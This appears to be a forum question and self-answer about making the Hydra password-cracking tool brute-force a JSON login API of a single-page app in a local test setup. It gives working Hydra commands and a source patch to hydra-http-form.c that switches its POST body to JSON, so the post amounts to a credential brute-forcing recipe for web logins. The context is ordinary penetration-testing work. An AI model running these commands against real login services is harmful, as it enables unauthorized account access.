I am having problems with Hydra and a JSON payload.
The login request (intercepted with Fiddler), is the following:
POST http://architectureservice.test.com/api/v1/login HTTP/1.1
Host: architectureservice.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Referer: http://architectureclient.test.com/
Content-Length: 51
Origin: http://architectureclient.test.com
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
{"username":"tester","password":"test"}
The Response, in case of a wrong password is actually empty because of the fact that it is a Single Page Application. The server will return a 404 (Not Found) or 405 error code instead. In case the credentials are correct, it will proceed an return a 200 page.
As you can see, the request flows from a client to a service. There is actually no form on the service, it takes in the parameters filled in on the client (this is all on my local machine, adapted the HOSTS file). When the credentials are correct, a cookie will be created (this is the first cookie, there is no session cookie or sth before logging in).
Now, the credentials are passed in JSON format. My Hydra command looks as follows:
hydra -L "users.txt" -P "passwords.txt" -s 80 architectureservice.test.com http-post-form "/api/v1/login:{'username'\:'^USER^','password'\:'^PASS^'}:NOT FOUND"
However, this returns that all passwords are valid. Is it possible to use Hydra with JSON format and a Single page application?
UPDATE Thanks to Iserni's answer, I was able to construct the following command:
hydra -v -V -L "users.txt" -P "passwords.txt" -s 80 architectureservice.test.com http-post-form "/api/v1/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:changeFirstName:H=Accept: application/json, text/plain, */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate:H=Referer: http\://architectureclient.test.com/:H=Origin: http\://architectureclient.test.com:H=Connection: keep-alive"
NOTE: Please note that it is not necessary to escape colons in the Header values. In fact, this breaks the command, so you must not escape the colons there.
I intercepted this request with Wireshark, and it looks exactly the same as the one made from Firefox, except for the JSON payload. Hydra creates a 'x-www-form-urlencoded' body. If I try encoding it this way using a Firefox request (intercepted with fiddler), I get a 'not found' error. So I indeed need to be able to create a JSON content-type. Is this possible with Hydra?
To clarify things, here's a screenshot of the Wireshark capture: Everything is exactly the same as when a request from Firefox is made, except for the Content-Type header and thus also the body payload (from Firefox it is JSON).
UPDATE: SOLUTION
hydra -v -V -L "users.txt" -P "passwords.txt" -s 80 architectureservice.tester.com http-post-form "/api/v1/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:S=firstName:H=Accept: application/json, text/plain, */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate:H=Referer: http\://architectureclient.tester.com/:H=Origin: http\://architectureclient.tester.com:H=Connection: keep-alive"
S=: I used this because in case of a failure, we get an empty response. The S= can be used to tell Hydra what comes back in case of a valid response. (We send back the firstName in case of a success)
H=: I noticed that Hydra understands that in a header, there will always be a colon. So you do not need to escape colons in headers. In other places, you do.
The above command works, in case you adapt the source of Hydra as follows (for Hydra 7.6): Around line 327 of hydra-http-form.c:
if (strcmp(type, "POST") == 0) {
sprintf(buffer,
"POST %.600s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Hydra)\r\nContent-Type: application/json\r\nContent-Length: %d\r\n%s%s\r\n%s",
url, webtarget, (int) strlen(upd3variables), header, cuserheader, upd3variables);
if (hydra_send(s, buffer, strlen(buffer), 0) < 0) {
return 1;
As you can see, I took the ugliest solution possible (switch hardcoded header value from "x-www-form-urlencoded" to "json". Iserni (see answer below) suggested a better approach, but I got some syntax errors and decided to just hardcode the json value. Also, the Content-Type is hardcoded in multiple places in the hydra-http-form.c file, please change wherever necessary for your situation.
Now, you can use Hydra to bruteforce json web apps.